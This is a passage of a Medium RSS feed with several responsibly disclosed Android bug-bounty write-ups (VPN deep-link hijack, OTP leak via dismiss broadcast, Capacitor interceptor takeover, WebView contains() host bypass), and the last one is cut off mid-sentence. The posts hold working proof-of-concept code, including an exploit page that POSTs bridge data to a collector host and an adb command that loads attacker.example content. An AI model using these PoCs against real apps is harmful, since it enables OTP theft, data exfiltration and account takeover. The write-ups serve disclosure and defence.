<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hussein Ayoub on Medium]]></title>
        <description><![CDATA[Stories by Hussein Ayoub on Medium]]></description>
        <link>https://medium.com/@husein.ayoub?source=rss-66c1c114eefc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Dxr9awLLdd5z86r02kJ9Eg.jpeg</url>
            <title>Stories by Hussein Ayoub on Medium</title>
            <link>https://medium.com/@husein.ayoub?source=rss-66c1c114eefc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 23:11:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@husein.ayoub/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hijacking Your VPN with one Deep Link]]></title>
            <link>https://medium.com/@husein.ayoub/hijacking-your-vpn-with-one-deep-link-3ce9ca778306?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ce9ca778306</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Sun, 04 Oct 2026 21:14:27 GMT</pubDate>
            <atom:updated>2026-10-04T21:14:27.238Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*pjASL6-InRmoh9d83X0NpQ.png" /></figure><p>This is a write-up of a vulnerability I reported to a private bug bounty program. The target is a carrier-grade mobile VPN / secure-access client.</p><p>During the short window where the app is waiting for an OAuth login to complete, a malicious app sitting on the same device can hand it a different backend, and the VPN client happily starts sending its device-registration API calls there, which was caused by an unvalidated fqdn parameter on an exported deep-link callback and led to potentially leaking the user&#39;s phone number, MAC address, device GUID, and more<em>.</em></p><h3>My workflow: decompile, triage the sinks</h3><p>Nothing exotic. Pull the APK, decompile with jadx for readable Java and apktool for the manifest and resources, then run an LLM-assisted pass over the output to surface the components worth reading by hand before I read anything myself.</p><p>For deep-link bugs the things I want flagged are cheap to express:</p><ul><li>every activity with android:exported=&quot;true&quot; (or an intent-filter, which exports it implicitly)</li><li>any activity that reads getIntent().getData() and pulls query parameters out of it</li><li>any of those parameters that end up in a URL, a hostname, a Retrofit/OkHttp base URL, or a loadUrl</li></ul><p>The pass flagged two exported activities that both read a fqdn query parameter off the incoming URI and fed it into the client&#39;s registration base URL. That combination is where the human work started.</p><h3>Attack surface: two exported callback activities</h3><p>The app declared two callback activities, both exported, both reachable by any other app:</p><ul><li>WebLoginCallbackActivity</li><li>WebCallbackHandlerActivity</li></ul><p>Their job is legitimate. After the user authenticates in a browser tab, the web flow redirects back into the app through one of these deep links, and the callback carries parameters telling the client how to finish setting itself up. One of those parameters is fqdn: the hostname of the backend the client should register against.</p><p>The problem is that the callback accepts fqdn from whoever sends the intent, with no validation that:</p><ul><li>the callback is a response to a login the app itself started, and</li><li>the hostname actually belongs to the vendor.</li></ul><p>So any app on the device can forge the callback and supply its own fqdn.</p><h3>The unvalidated parameter</h3><p>Reconstructed, the deep link the app is willing to accept looks like this:</p><pre>vpnclient://callback?vpnEnabled=true&amp;advancedMode=false&amp;fqdn=&lt;ATTACKER_HOST&gt;&amp;tenant=&lt;...&gt;&amp;userId=&lt;...&gt;</pre><p>&lt;ATTACKER_HOST&gt; is a domain I control. There is no allowlist check against it, and no binding to the originating request. The client takes that hostname and uses it as the base for its registration API calls.</p><h3>The race that isn’t much of a race</h3><p>There is one timing condition, and it is generous. The redirect-back is only accepted during the login window, roughly <strong>180 seconds</strong> after the user taps login and the browser tab opens. That sounds like it would make exploitation fiddly. It does not.</p><p>A malicious app can watch for the moment the user starts a login (the browser tab opening is observable) and fire the forged callback immediately, well inside the window. From the user’s point of view nothing unusual happens. They log in like they always do.</p><h3>Building the PoC</h3><p>The PoC app is a plain activity with a couple of buttons. Its manifest requests a single permission, INTERNET, and nothing security-sensitive. No root, no accessibility service, no notification access.</p><pre>&lt;manifest xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;&gt;<br>    &lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; /&gt;<br>    &lt;application android:label=&quot;VPN Callback PoC&quot;&gt;<br>        &lt;activity android:name=&quot;.MainActivity&quot; android:exported=&quot;true&quot;&gt;<br>            &lt;intent-filter&gt;<br>                &lt;action android:name=&quot;android.intent.action.MAIN&quot; /&gt;<br>                &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; /&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/activity&gt;<br>    &lt;/application&gt;<br>&lt;/manifest&gt;</pre><p>Firing the forged callback is a handful of lines. Build the URI with my own fqdn, mark it BROWSABLE so it looks like a normal web redirect, and target the exported callback component directly:</p><pre>Uri uri = Uri.parse(&quot;vpnclient://callback?vpnEnabled=true&quot;<br>        + &quot;&amp;advancedMode=false&quot;<br>        + &quot;&amp;fqdn=&quot;   + Uri.encode(attackerHost)   // my server<br>        + &quot;&amp;tenant=&quot; + Uri.encode(tenant)<br>        + &quot;&amp;userId=&quot; + Uri.encode(userId));<br><br>Intent intent = new Intent(Intent.ACTION_VIEW, uri);<br>intent.addCategory(Intent.CATEGORY_BROWSABLE);<br>intent.setComponent(new ComponentName(<br>        &quot;com.vendor.vpnclient&quot;,<br>        &quot;com.vendor.vpnclient.ui.WebLoginCallbackActivity&quot;));<br>startActivity(intent);</pre><p>The second exported activity (WebCallbackHandlerActivity) accepts a slightly richer URI with an extra backend-host parameter, and works the same way. Two doors into the same room.</p><h3>Triggering it</h3><ol><li>Install the PoC on the same device as the target app.</li><li>Open the target app, tap <strong>Login</strong>, enter a phone number, submit. The app opens a browser tab for authentication.</li><li>While that tab is open, switch to the PoC app and fire the forged callback.</li><li>Watch the attacker server.</li></ol><p>I pointed fqdn at an interactsh instance. Within the login window, two HTTPS requests from the victim device landed on my server:</p><pre>GET /portal/services?action=discover&amp;username=&lt;phone&gt;&amp;device_mac=&lt;mac&gt;&amp;guid=&lt;guid&gt;...<br>GET /portal/services?action=preregister&amp;username=&lt;phone&gt;&amp;device_mac=&lt;mac&gt;&amp;private_ip=&lt;ip&gt;...</pre><p>The client had accepted my hostname as its backend and started its registration handshake against it.</p><h3>What leaks</h3><p>Everything the client sends during registration, sent to me instead of the real backend:</p><ul><li>phone number (MSISDN)</li><li>device MAC address</li><li>persistent device GUID</li><li>private IP address</li><li>device model, OS version, client version</li></ul><p>That is a precise, stable fingerprint of a person and their device, tied to their phone number, handed over with no interaction beyond the login they were already doing.</p><h3>Impact</h3><p>Three things make this worse than a generic info leak:</p><ul><li><strong>Data exfiltration.</strong> Identity and device data (above) goes straight to the attacker’s server.</li><li><strong>Backend substitution.</strong> Because the attacker chose the control-plane host, the server can respond. A crafted registration response is the natural next step toward steering the client (for example, toward an attacker-influenced VPN profile). The redirection itself is proven here; where it leads is the obvious follow-on.</li><li><strong>It is invisible and unprivileged.</strong> No user interaction beyond the normal login, and zero meaningful permissions on the attacking app.</li></ul><h3>The fix</h3><p>Two changes, both small, and you want both:</p><p><strong>Bind the callback to the request that started it.</strong> When the app kicks off the login, generate a one-time, unguessable state token, keep it in memory, and refuse any callback that does not echo it back. This alone kills the forged-intent path, because the attacker’s app cannot know the token.</p><p><strong>Validate </strong>fqdn<strong> against a server-side allowlist.</strong> The set of backends this client is ever allowed to talk to is small and known. Check the incoming hostname against it (exact match or a real suffix match, not a substring check) and reject anything else. Never let an inbound parameter freely choose the control-plane host.</p><h3>Disclosure timeline</h3><p>11/Aug/26 -&gt; Reported</p><p>12/Aug/26 -&gt; Acknowledged and triaged</p><p>30/Sep/26 -&gt; Fixed and validated</p><p>01/Oct/26 -&gt; Rewarded</p><h3>Happy hunting.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ce9ca778306" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Swipe-to-Leak: OTP Theft via an Implicit Broadcast on Notification Dismiss]]></title>
            <link>https://medium.com/@husein.ayoub/swipe-to-leak-otp-theft-via-an-implicit-broadcast-on-notification-dismiss-51e9ab7f3718?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/51e9ab7f3718</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Sun, 27 Sep 2026 18:59:17 GMT</pubDate>
            <atom:updated>2026-09-27T18:59:17.703Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How dismissing a push notification let any zero-permission app on the device read the OTP inside it. No root, no accessibility service, no user interaction beyond a swipe the user makes anyway.</em></p><p>Some Android bugs need a clever chain. This one needs a gesture the user performs a dozen times a day: swiping a notification away.</p><p>This is a writeup of a vulnerability I reported to a private program on a bug bounty platform in a widely installed Android brokerage app. The app pushes one-time passwords over push notifications. When the user dismisses one of those notifications, the app broadcasts the entire notification payload, OTP included, as an implicit intent that every installed app can read.</p><h3>The two ingredients</h3><p>If you have hunted Android for a while, the shape of this will feel familiar:</p><ol><li>Sensitive data delivered by push notification (OTP codes, in a financial app).</li><li>A PendingIntent.getBroadcast() built from an implicit Intent, one with an action string but no target package and no receiver permission.</li></ol><p>The first is normal. The second is the bug. Put them together and the notification’s own dismiss action becomes an exfiltration channel.</p><h3>Why notification dismiss intents even exist</h3><p>When an app posts a notification it can attach two PendingIntents:</p><ul><li><strong>contentIntent</strong>, which fires when the user taps the notification.</li><li><strong>deleteIntent</strong>, which fires when the user dismisses (swipes) it.</li></ul><p>The delete intent is how apps learn “the user swiped this away” so they can update state, log analytics, or cancel a re-alert. Perfectly legitimate.</p><p>The danger is in how that intent gets built. If it is an explicit intent (it targets a specific component inside your own app) or it carries a receiver permission, only you can receive it. If it is an implicit intent, just an action string, Android delivers it to any registered receiver on the device.</p><h3>The target</h3><p>The app is a popular brokerage and trading app on the Play Store. The kind that handles real accounts and real money, and gates sensitive operations like web login, withdrawals, and trades behind an OTP delivered by push. That context is what turns a notification content leak from an information-disclosure footnote into a straight path to account takeover.</p><h3>My workflow: decompile, triage the sinks</h3><p>Same pipeline as always. Pull the APK, decompile with jadx (for readable Java) and apktool (for the manifest and resources), then run an LLM-assisted review pass over the decompiled output to flag suspicious sinks before I read anything by hand. For notification bugs, the sinks worth surfacing are cheap to describe:</p><ul><li>PendingIntent.getBroadcast(...)</li><li>new Intent(&lt;action&gt;) with setAction(...) and no setPackage or setComponent</li><li>NotificationCompat.Builder.setDeleteIntent(...)</li><li>any notification builder where the OTP or body gets stuffed into putExtra(...)</li></ul><p>The pass flagged the push notification provider right away: two PendingIntents per notification, one explicit, one not.</p><h3>Root cause</h3><p>Reconstructed and de-obfuscated, the notification builder does something equivalent to this. Notice the asymmetry between the two intents:</p><pre>// TAP intent, done correctly (explicit, targets our own Activity)<br>Intent tapIntent = new Intent(context, MainActivity.class);<br>tapIntent.setAction(&quot;notification_opened&quot;);<br>tapIntent.putExtra(&quot;id&quot;,    push.id);<br>tapIntent.putExtra(&quot;type&quot;,  push.type);<br>tapIntent.putExtra(&quot;title&quot;, push.title);<br>tapIntent.putExtra(&quot;body&quot;,  push.body);   // contains the OTP<br>PendingIntent tapPi = PendingIntent.getActivity(<br>        context, reqCode, tapIntent, FLAG_IMMUTABLE);</pre><pre>// DISMISS intent, the bug (implicit, no target, no permission)<br>Intent dismissIntent = new Intent();<br>dismissIntent.setAction(&quot;notification_deleted&quot;);   // action only<br>dismissIntent.putExtra(&quot;id&quot;,    push.id);<br>dismissIntent.putExtra(&quot;type&quot;,  push.type);<br>dismissIntent.putExtra(&quot;title&quot;, push.title);<br>dismissIntent.putExtra(&quot;body&quot;,  push.body);        // OTP, again<br><br>PendingIntent dismissPi = PendingIntent.getBroadcast(<br>        context, reqCode, dismissIntent, FLAG_IMMUTABLE);</pre><pre>builder.setContentIntent(tapPi)<br>       .setDeleteIntent(dismissPi);   // fires as an IMPLICIT broadcast on swipe</pre><p>The tap path is textbook. It is an explicit intent that can only ever land inside the app’s own MainActivity. The dismiss path copies the same extras, OTP body included, into an intent that names only an action string. No setPackage(), no setComponent(), and no permission on the broadcast.</p><p>So when the user swipes the notification, Android fires notification_deleted as an implicit broadcast and delivers it to every app that registered a receiver for that action.</p><p>FLAG_IMMUTABLE on the PendingIntent does not help here. Immutability stops a third party from mutating the intent&#39;s fields, not from receiving the broadcast and reading its extras.</p><h3>The PoC receiver</h3><p>The malicious app is about as minimal as an Android app gets. Its manifest declares zero &lt;uses-permission&gt; entries. The only component is a launcher activity:</p><pre>&lt;manifest xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;<br>    package=&quot;com.poc.broadcastleak&quot;&gt;<br>    &lt;uses-sdk android:minSdkVersion=&quot;24&quot; android:targetSdkVersion=&quot;33&quot; /&gt;<br>    &lt;application android:label=&quot;BroadcastLeakPoC&quot;&gt;<br>        &lt;activity android:name=&quot;.MainActivity&quot; android:exported=&quot;true&quot;&gt;<br>            &lt;intent-filter&gt;<br>                &lt;action android:name=&quot;android.intent.action.MAIN&quot; /&gt;<br>                &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; /&gt;<br>            &lt;/intent-filter&gt;<br>        &lt;/activity&gt;<br>    &lt;/application&gt;<br>&lt;/manifest&gt;</pre><p>At runtime it registers a receiver for the vulnerable action and dumps whatever extras arrive:</p><pre>public class MainActivity extends Activity {<br>    private static final String TAG = &quot;OTP_LEAK_POC&quot;;</pre><pre>    private final BroadcastReceiver receiver = new BroadcastReceiver() {<br>        @Override public void onReceive(Context ctx, Intent intent) {<br>            Log.w(TAG, &quot;=== BROADCAST RECEIVED === &quot; + intent.getAction());<br>            Bundle extras = intent.getExtras();<br>            if (extras != null) {<br>                for (String key : extras.keySet()) {<br>                    Log.w(TAG, key + &quot; = &quot; + extras.get(key));   // OTP lands here<br>                }<br>            }<br>        }<br>    };</pre><pre>    @Override protected void onCreate(Bundle b) {<br>        super.onCreate(b);<br>        // ...<br>        registerReceiver(receiver, new IntentFilter(&quot;notification_deleted&quot;));<br>    }<br>}</pre><p>That is the whole exploit. A runtime registerReceiver with an IntentFilter on the action string. No special manifest declaration is even required. In the wild you would register it from a background component and ship the captured body straight to a collector instead of a TextView.</p><p>One thing worth calling out: a real attacker does not need the target app foregrounded, does not need to know when an OTP will arrive, and does not race anyone. The receiver just sits there. Every dismissed notification, OTP or otherwise, walks right into it.</p><h3>Triggering it</h3><ol><li>Install the PoC on the same device as the target app.</li><li>Open the PoC. It registers the receiver and shows “Listening for ‘notification_deleted’ broadcasts…”</li><li>In the target app, trigger an OTP (start a web login or any operation that sends a push code).</li><li>When the push arrives, swipe it away. Do not tap it.</li><li>The PoC displays the intercepted payload.</li></ol><p>Or watch it from the shell:</p><pre>adb logcat -s OTP_LEAK_POC</pre><p>The intercepted broadcast (values here are from my test push; the real ones carry the live OTP):</p><pre>=== BROADCAST RECEIVED === notification_deleted<br>id         = &lt;redacted&gt;<br>type       = Otp<br>title      = &lt;verification-code notification title&gt;<br>body       = Your OTP code is 482916<br>pushSource = &lt;push provider&gt;</pre><p>type = Otp is the tell. The app itself labels the payload as an OTP, then hands it to anyone listening.</p><h3>Impact</h3><p>The receiving app needs no permissions, no root, no accessibility service, and no interaction from the victim beyond the dismiss gesture they already perform reflexively.</p><p><strong>Confidentiality (high)</strong></p><ul><li>Raw OTP codes for a financial app, captured silently.</li><li>Full notification content: titles, bodies, deep-link URLs, push type, and timestamps. A running log of the user’s activity in the app.</li></ul><p><strong>Account takeover (the real one)</strong></p><ul><li>OTP plus already-known credentials (from phishing, reuse, or a prior breach) means the second factor is defeated. In a brokerage app that is the gate in front of web login, trades, and withdrawals.</li><li>The victim gets zero indication their code was intercepted. The notification they dismissed looks, to them, dismissed.</li></ul><p>The severity here is not “an app can read notifications.” That normally needs BIND_NOTIFICATION_LISTENER_SERVICE and an explicit user grant in Settings. This bug routes around that entire consent model by pushing the data out as an unprotected broadcast.</p><h3>The fix</h3><p>Two clean options, pick either.</p><p>Make the dismiss intent explicit, mirroring what the tap intent already does:</p><pre>Intent dismissIntent = new Intent(context, PushDismissReceiver.class); // your own receiver<br>dismissIntent.setAction(&quot;notification_deleted&quot;);<br>PendingIntent dismissPi = PendingIntent.getBroadcast(<br>        context, reqCode, dismissIntent, FLAG_IMMUTABLE);</pre><p>Or gate it with a signature-level permission, so only your own app can receive it:</p><pre>&lt;permission android:name=&quot;com.vendor.app.RECEIVE_PUSH_EVENTS&quot;<br>    android:protectionLevel=&quot;signature&quot; /&gt;</pre><pre>PendingIntent.getBroadcast(context, reqCode, dismissIntent,<br>        FLAG_IMMUTABLE); // paired with sendBroadcast(intent, RECEIVE_PUSH_EVENTS)</pre><p>Defense in depth on top of either one:</p><ul><li>Do not put the OTP in the intent extras at all. The dismiss handler needs the notification id to update state. It does not need the code, the body, or the deep link. Pass a reference, not the secret.</li><li>Set android:exported=&quot;false&quot; on any internal receiver that has no reason to be public.</li><li>Treat notification builders as a sink during review. Every setDeleteIntent and setContentIntent should be built from an explicit intent or carry a receiver permission, and neither should carry more payload than the handler actually consumes.</li></ul><h3>Takeaway</h3><p>The tap intent and the dismiss intent were written by the same person, in the same method, seconds apart. One explicit, one not. That asymmetry is the whole bug. When you audit notification code, do not stop at the content intent. The delete intent is the one people forget, and it fires on the most reflexive gesture on the platform.</p><p><strong>Disclosure timeline</strong></p><p>29/Aug/26 -&gt; Reported</p><p>22/Sep/26 -&gt; Accepted and bounty awarded</p><h3>Happy hunting.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51e9ab7f3718" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Interceptor That Fetched Anything: 1-Click Native Takeover in a Capacitor App]]></title>
            <link>https://medium.com/@husein.ayoub/the-interceptor-that-fetched-anything-1-click-native-takeover-in-a-capacitor-app-71d9c0b7c72d?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/71d9c0b7c72d</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Mon, 31 Aug 2026 07:24:50 GMT</pubDate>
            <atom:updated>2026-08-31T07:24:50.602Z</atom:updated>
            <content:encoded><![CDATA[<p>On hybrid apps, the bugs usually live in the gap between two features that are both fine by themselves: a WebView serving the app’s own bundle from a trusted local origin with the full native bridge attached, and anything that can pull outside content into that origin.</p><p>Native frameworks like Capacitor give you the first one for free: your JS runs at <a href="http://localhost/">http://localhost</a> and every registered plugin is one call away. The whole security model assumes only your bundle ever executes there. This is a write-up of what happens when a stock framework endpoint quietly breaks that assumption, and a verified App Link hands the trigger to anyone with your phone number.</p><p><strong>The target</strong></p><p>The app is a community and club management app, a Capacitor-based hybrid app that wraps a web frontend in a native shell. Like most Capacitor apps on Android, it serves its own content from <a href="http://localhost/">http://localhost</a> inside the WebView, and it exposes a large native surface: 23 registered plugins covering Filesystem, Camera, Clipboard, Share, Device, Push, and more.</p><p><strong>My workflow</strong>: decompile, then let the model do the boring part I run an automation-heavy triage pipeline for APKs. After pulling and decompiling (jadx for readable Java, apktool for the manifest and resources), I feed the output through an LLM-assisted review pass before I read anything myself.</p><p>For this engagement, the review pass ran on <strong>Claude Opus 4.6 via Amazon Bedrock</strong>.</p><p><strong>Attack surface #1:</strong></p><p>The native bridge Capacitor registers a global <strong>window.Capacitor</strong> with a Plugins object. Any JavaScript executing at the app origin can call into native code directly, no annotation hunting required. Enumerating the bridge on this app returned 23 plugins, including the ones that turn a web bug into a device compromise:</p><ul><li>Filesystem: read and write files in the app sandbox</li><li>Camera: capture images if the permission was previously granted</li><li>Clipboard: read clipboard contents (passwords, 2FA codes)</li><li>CapacitorHttp: issue requests with the app’s native cookies Device, App, Share, Push, and the rest of the registered set</li></ul><p>None of this is a problem while the only code running at <a href="http://localhost/">http://localhost</a> is the app’s own bundle. The entire model rests on that origin staying trusted. Which brings us to the second half of the bug.</p><p><strong>Attack surface #2:</strong></p><p>Capacitor ships an internal HTTP interceptor endpoint, reachable inside the WebView, that fetches a URL passed as a query parameter and serves the response back inside the app’s trusted origin:</p><p><a href="http://localhost/_capacitor_http_interceptor_?u=">http://localhost/_capacitor_http_interceptor_?u=</a>&lt;some-url&gt;</p><p>That is a native-side proxy meant for the framework’s own request handling. The problem is reachability. The app’s deep-link handler took the path from an incoming verified link and drove the WebView to it, including this internal path. So a link to the verified domain that points at the interceptor, with an attacker URL in u, resolves inside the app to the local origin and serves attacker HTML as if it were part of the bundle.</p><p>Put together:</p><pre>https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https://attacker.example/exploit.html</pre><p>The link is on the verified domain, so Android opens it directly in the app. The handler routes it to the interceptor. The interceptor fetches <a href="https://attacker.example/exploit.html">https://attacker.example/exploit.html</a> and serves it at <a href="http://localhost/">http://localhost</a>. My HTML is now executing at the trusted origin, with the entire native bridge attached. One click.</p><p>Building the PoC The exploit page is a static HTML file on any server. Because it ends up running at the app origin, window.Capacitor and every plugin are reachable. The probe below just confirms the origin and dumps the bridge before doing anything sensitive:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;&lt;title&gt;PoC&lt;/title&gt;&lt;/head&gt; <br><br>&lt;body&gt; &lt;pre id=&quot;out&quot;&gt;&lt;/pre&gt; <br>&lt;script&gt; <br><br>const out = document.getElementById(&#39;out&#39;); <br>const collector = &#39;https://your-collector.example/collect&#39;;<br><br>function send(obj) { <br>  const data = JSON.stringify(obj); <br>  out.textContent += data + &#39;\n&#39;; <br>  fetch(collector, { method: &#39;POST&#39;, body: data }).catch(() =&gt; {}); <br>}<br><br>// Running at the app&#39;s trusted origin: the whole bridge is ours. send({ url: location.href, origin: location.origin, platform: window.Capacitor &amp;&amp; window.Capacitor.getPlatform ? window.Capacitor.getPlatform() : null, plugins: Object.keys((window.Capacitor &amp;&amp; window.Capacitor.Plugins) || {}) }); <br>&lt;/script&gt;<br>&lt;/body&gt; <br>&lt;/html&gt;</pre><p>From that same origin, the follow-on is mechanical: read the auth token out of local storage or via the Filesystem plugin for account takeover, pull clipboard contents, list and read sandboxed files, and use CapacitorHttp to make authenticated calls with the app’s own cookies.</p><p><strong>Triggering it</strong></p><p>For the demo, I fired the deep link with ADB. Note the u parameter is URL-encoded:</p><pre>adb shell am start -a android.intent.action.VIEW<br>-d &quot;https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html&quot;<br>-n com.vendor.clubsapp/com.vendor.clubsapp.MainActivity</pre><p>The collector received the confirmation that attacker JS was live at the trusted origin with the full plugin set:</p><pre>{ &quot;url&quot;: &quot;http://localhost/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html&quot;, &quot;origin&quot;: &quot;http://localhost&quot;, &quot;platform&quot;: &quot;android&quot;, &quot;plugins&quot;: [&quot;App&quot;,&quot;Device&quot;,&quot;Keyboard&quot;,&quot;Media&quot;,&quot;Badge&quot;,&quot;StatusBar&quot;, &quot;PushNotifications&quot;,&quot;ShareExtension&quot;,&quot;LocalNotifications&quot;,&quot;Toast&quot;, &quot;BarcodeScanner&quot;,&quot;Network&quot;,&quot;SplashScreen&quot;,&quot;Camera&quot;,&quot;Clipboard&quot;, &quot;Haptics&quot;,&quot;CapacitorCookies&quot;,&quot;WebView&quot;,&quot;Filesystem&quot;,&quot;Share&quot;, &quot;CapacitorHttp&quot;,&quot;Browser&quot;] }</pre><p>origin is <a href="http://localhost/">http://localhost</a>, not the attacker domain. That is the whole point: the content is foreign, but the origin is trusted.</p><p>From ADB to a real-world attack ADB is only for the demo. In the wild there is no debugging access and no permission requirement. Because the domain is a verified App Link, you just send the victim the URL over chat, email, or SMS. They tap once, the app opens it automatically, and the exploit runs. No chooser dialog, no second prompt, nothing that looks unusual to the victim.</p><p><strong>Impact</strong></p><p>Once arbitrary JS runs at the app origin, you inherit the native bridge:</p><ul><li>Authentication token theft from app storage, i.e. full account takeover.</li><li>Arbitrary read and write in the app sandbox via the Filesystem plugin.</li><li>Camera and microphone access if those permissions were previously granted.</li><li>Clipboard reads, which routinely hold passwords and 2FA codes.</li></ul><p>This is effectively a 1-click remote code execution in the app’s native context.</p><p><strong>Remediation</strong></p><p>The fix is small: refuse to let external deep links drive navigation to internal Capacitor paths. In the deep-link handler, reject internal paths before routing:</p><pre>const BLOCKED = [&#39;/_capacitor_http_interceptor&#39;, &#39;/_capacitor_content&#39;, &#39;/_capacitor_file&#39;]; if (BLOCKED.some(p =&gt; pathname.startsWith(p))) return;</pre><p><strong>Disclosure timeline</strong>:</p><p>07/Aug/26 -&gt; Reported</p><p>10/Aug/26 -&gt; Triaged</p><p>28/Aug/26 -&gt; Fixed &amp; Bounty Awarded</p><p><strong>Happy hunting.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71d9c0b7c72d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One .contains() Away From a Full JavaScript Bridge Takeover]]></title>
            <link>https://medium.com/@husein.ayoub/one-contains-away-from-a-full-javascript-bridge-takeover-e0c05eb066f8?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0c05eb066f8</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Sun, 23 Aug 2026 20:48:15 GMT</pubDate>
            <atom:updated>2026-08-23T20:48:15.199Z</atom:updated>
            <content:encoded><![CDATA[<h3>How a lazy host check in an Android WebView let any app on the device steal GPS coordinates, wipe local data, no permissions, no user interaction.</h3><p>If you’ve done any Android bug hunting, you already know the two ingredients that make this class of bug so reliable:</p><ol><li>An <strong>exported activity</strong> that anyone on the device can launch.</li><li>A <strong>WebView with a JavaScript bridge</strong> (@JavascriptInterface) sitting behind a validation check that <em>looks</em> safe.</li></ol><p>The magic, or the disaster, depending on which side you’re on, happens when the “validation” between those two things turns out to be a substring match. This is a write-up of exactly that: a deep-link host check that used String.contains() where it should have used real domain validation, and what that one decision unlocked.</p><h3>The target</h3><p>The app in question is a popular <strong>caller-ID and local business directory</strong> app, the kind that identifies unknown callers, blocks telemarketers, and works offline against a locally cached lookup database. That feature set matters, because it means the app holds two things an attacker would love: <strong>your location</strong> and a <strong>privileged native bridge</strong> wired up to device-level functionality (call handling, offline data, backend selection).</p><p>The entry point was a single exported activity, I’ll call it StartActivity — which had <strong>no intent-filter declared in the manifest but was still exported</strong>. That&#39;s the first smell: an activity reachable by any other app on the device, handling Intent data, with no obvious reason to be public.</p><h3>My workflow: decompile, then let the model do the boring part</h3><p>I run a fairly automation-heavy triage pipeline for APKs. After pulling the APK and decompiling it (jadx for the readable Java, apktool for the manifest and resources), I feed the decompiled output through an LLM-assisted review pass to flag suspicious sinks before I ever read a line myself.</p><p>For this engagement, the review pass ran on <strong>Claude Opus 4.6 via Amazon Bedrock</strong>. The value isn’t that the model “finds the bug”, it’s that it burns through hundreds of obfuscated classes and surfaces the handful worth human attention: exported components, @JavascriptInterface annotations, loadUrl calls, and any string comparison that touches a URL or host. In this case it flagged the exact combination that turned into this report: an exported activity feeding a WebView, gated by a host check that wasn&#39;t an equality or suffix check.</p><p>That flag is where the human work started.</p><h3>Attack surface #1: the JavaScript bridge</h3><p>The app registered a JS interface named Android onto its main WebView. Decompiled, the bridge class (obfuscated to something like a1.b) exposed <strong>17 methods</strong> annotated with @JavascriptInterface. Any JavaScript running in that WebView can call all of them directly. The interesting ones:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*NmvVrCMKWbASQO8V73E_TA.png" /></figure><p>On its own, a JS bridge is fine<em>, if</em> the WebView only ever loads content you control. The entire security model rests on that assumption. Which brings us to the second half of the bug.</p><h3>Attack surface #2: the host check that wasn’t</h3><p>Here’s the (reconstructed, de-obfuscated) validation from StartActivity.onCreate():</p><pre>Uri data = getIntent().getData();<br>String host;<br>if (data != null<br>        &amp;&amp; (host = data.getHost()) != null<br>        &amp;&amp; h.a(host, &quot;.trusted.app&quot;)          // &lt;-- the problem<br>        &amp;&amp; &quot;https&quot;.equals(data.getScheme())) {<br>    // attacker-controlled URL gets loaded into the bridge WebView<br>    state.targetUrl = String.valueOf(getIntent().getData());<br>}</pre><p>The helper h.a(a, b) decompiled to a.indexOf(b) &gt;= 0 — in other words, <strong>host.contains(&quot;.trusted.app&quot;)</strong>.</p><p>The app doesn’t check that the host <em>is</em> trusted.app or <em>ends with</em> .trusted.app. It checks whether the string .trusted.app appears <strong>anywhere</strong> inside the host.</p><p>So I register:</p><pre>pwned.trusted.app.attacker.com</pre><p>The host pwned.trusted.app.attacker.com contains the substring .trusted.app. Validation passes. Scheme is 